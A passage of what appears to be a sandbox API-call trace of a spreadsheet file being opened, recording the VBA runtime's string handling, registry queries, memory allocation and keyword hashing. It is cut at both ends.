_Buffer=0x7395b6a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5db80609") returned 0x0 [0078.625] wcsncpy_s (in: _Destination=0x270630, _SizeInWords=0x108, _Source="*\\Z005db80609", _MaxCount=0x106 | out: _Destination="*\\Z005db80609") returned 0x0 [0078.625] CharLowerBuffW (in: lpsz="*\\Z005db80609", cchLength=0xd | out: lpsz="*\\z005db80609") returned 0xd [0078.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005db80609", cchWideChar=14, lpMultiByteStr=0x270560, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005db80609", lpUsedDefaultChar=0x0) returned 14 [0078.625] wcscpy_s (in: _Destination=0xb300740, _SizeInWords=0xe, _Source="*\\Z005db80609" | out: _Destination="*\\Z005db80609") returned 0x0 [0078.625] wcsncpy_s (in: _Destination=0x270670, _SizeInWords=0x108, _Source="*\\Z005db80609", _MaxCount=0x106 | out: _Destination="*\\Z005db80609") returned 0x0 [0078.625] CharLowerBuffW (in: lpsz="*\\Z005db80609", cchLength=0xd | out: lpsz="*\\z005db80609") returned 0xd [0078.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005db80609", cchWideChar=14, lpMultiByteStr=0x2705a0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005db80609", lpUsedDefaultChar=0x0) returned 14 [0078.626] lstrcpyA (in: lpString1=0xcd1c7a0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" [0078.626] lstrcpyA (in: lpString1=0xcd1c7a0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" [0078.626] lstrcpyA (in: lpString1=0xcd1c7a0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" [0078.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd1c7a0, cbMultiByte=-1, lpWideCharStr=0x270fc0, cchWideChar=58 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 58 [0078.626] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.626] wcscpy_s (in: _Destination=0x270d66, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.626] wcsncpy_s (in: _Destination=0x270980, _SizeInWords=0x108, _Source="*\\Z005db80609", _MaxCount=0x106 | out: _Destination="*\\Z005db80609") returned 0x0 [0078.626] CharLowerBuffW (in: lpsz="*\\Z005db80609", cchLength=0xd | out: lpsz="*\\z005db80609") returned 0xd [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005db80609", cchWideChar=14, lpMultiByteStr=0x2708b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005db80609", lpUsedDefaultChar=0x0) returned 14 [0078.626] _wcsicmp (_String1="*\\Z005db80609", _String2="*\\Z005db80609") returned 0 [0078.626] wcsncpy_s (in: _Destination=0x270980, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.626] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.626] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb3008d0 [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb3008d0, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.626] IMalloc:Free (This=0x7feffc15380, pv=0xb3008d0) [0078.626] IMalloc:Realloc (This=0x7feffc15380, pv=0xb300720, cb=0x100) returned 0xb234710 [0078.626] wcscpy_s (in: _Destination=0xb234750, _SizeInWords=0x3d, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.626] wcsncpy_s (in: _Destination=0x270980, _SizeInWords=0x108, _Source="*\\Z005db80609", _MaxCount=0x106 | out: _Destination="*\\Z005db80609") returned 0x0 [0078.626] CharLowerBuffW (in: lpsz="*\\Z005db80609", cchLength=0xd | out: lpsz="*\\z005db80609") returned 0xd [0078.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005db80609", cchWideChar=14, lpMultiByteStr=0x2708b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005db80609", lpUsedDefaultChar=0x0) returned 14 [0078.626] _wcsicmp (_String1="*\\Z005db80609", _String2="*\\Z005db80609") returned 0 [0078.626] wcsncpy_s (in: _Destination=0x2709c0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.626] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.627] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb300720 [0078.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb300720, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.627] IMalloc:Free (This=0x7feffc15380, pv=0xb300720) [0078.627] wcscpy_s (in: _Destination=0x7395b60, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.628] IMalloc:Alloc (This=0x7feffc15380, cb=0x84) returned 0xb3008d0 [0078.628] wcscpy_s (in: _Destination=0xb300940, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0078.628] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x180) returned 0xb137060 [0078.628] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb2b9ef0 [0078.628] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb2bf230 [0078.628] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb1dceb0 [0078.628] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x80) returned 0xb300960 [0078.628] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb1dca10 [0078.628] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb1dc7c0 [0078.628] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xaeb8580 [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x738cd20 [0078.629] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x27025c, cchData=6 | out: lpLCData="1252") returned 5 [0078.629] atoi (_Str="1252") returned 1252 [0078.629] GetLocalTime (in: lpSystemTime=0x270250 | out: lpSystemTime=0x270250*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x4, wDay=0x1, wHour=0x9, wMinute=0x1b, wSecond=0x25, wMilliseconds=0x2fd)) [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb3009f0 [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae714c0 [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb300a80 [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xaeb5d60 [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb300b10 [0078.629] IMalloc:Realloc (This=0x7feffc15380, pv=0xb300b10, cb=0x280) returned 0x7397a00 [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae714b0 [0078.629] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae714d0 [0078.629] strcpy_s (in: _Dst=0x270030, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0078.629] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0078.629] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee5e404a8, lpdwDisposition=0x0 | out: phkResult=0x7fee5e404a8*=0xc74, lpdwDisposition=0x0) returned 0x0 [0078.629] RegQueryValueExA (in: hKey=0xc74, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x270108, lpData=0x270100, lpcbData=0x270104*=0x4 | out: lpType=0x270108*=0x0, lpData=0x270100*=0x38, lpcbData=0x270104*=0x4) returned 0x2 [0078.630] RegQueryValueExA (in: hKey=0xc74, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x270108, lpData=0x270100, lpcbData=0x270104*=0x4 | out: lpType=0x270108*=0x0, lpData=0x270100*=0x0, lpcbData=0x270104*=0x4) returned 0x2 [0078.630] RegQueryValueExA (in: hKey=0xc74, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x270108, lpData=0x270100, lpcbData=0x270104*=0x4 | out: lpType=0x270108*=0x0, lpData=0x270100*=0x1, lpcbData=0x270104*=0x4) returned 0x2 [0078.630] RegQueryValueExA (in: hKey=0xc74, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x270108, lpData=0x270100, lpcbData=0x270104*=0x4 | out: lpType=0x270108*=0x0, lpData=0x270100*=0x0, lpcbData=0x270104*=0x4) returned 0x2 [0078.630] RegQueryValueExA (in: hKey=0xc74, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x270108, lpData=0x270100, lpcbData=0x270104*=0x4 | out: lpType=0x270108*=0x0, lpData=0x270100*=0xff, lpcbData=0x270104*=0x4) returned 0x2 [0078.630] RegQueryValueExA (in: hKey=0xc74, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x270108, lpData=0x270100, lpcbData=0x270104*=0x4 | out: lpType=0x270108*=0x0, lpData=0x270100*=0x0, lpcbData=0x270104*=0x4) returned 0x2 [0078.630] RegCloseKey (hKey=0xc74) returned 0x0 [0078.630] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xb19a040 [0078.630] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xb19a110 [0078.630] IMalloc:Alloc (This=0x7feffc15380, cb=0x1300) returned 0xb3b3f50 [0078.630] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5580000 [0078.631] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x6710000 [0078.632] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0078.632] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x71258c0 [0078.632] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x62a0000 [0078.632] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0078.632] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x62b0000 [0078.633] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x64e0000 [0078.633] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x64f0000 [0078.634] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0078.634] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x6580000 [0078.635] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0078.635] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0078.636] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb0e8a40 [0078.640] GetProcAddress (hModule=0x7fee57c0000, lpProcName=0x7fee5e0b088) returned 0x7fee57cfcd0 [0078.640] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x6750000 [0078.640] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x69f0000 [0078.645] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb0e8e90 [0078.645] CExposedStream::AddRef () returned 0x2 [0078.645] CExposedStream::Release () returned 0x1 [0078.645] CExposedStream::Release () returned 0x0 [0078.645] IMalloc:Free (This=0x7feffc15380, pv=0xb0e8e90) [0078.646] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0078.646] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x7125a00 [0078.646] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x6760000 [0078.647] VirtualAlloc (lpAddress=0x69f0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x69f0000 [0078.647] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0078.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0078.649] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0078.650] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 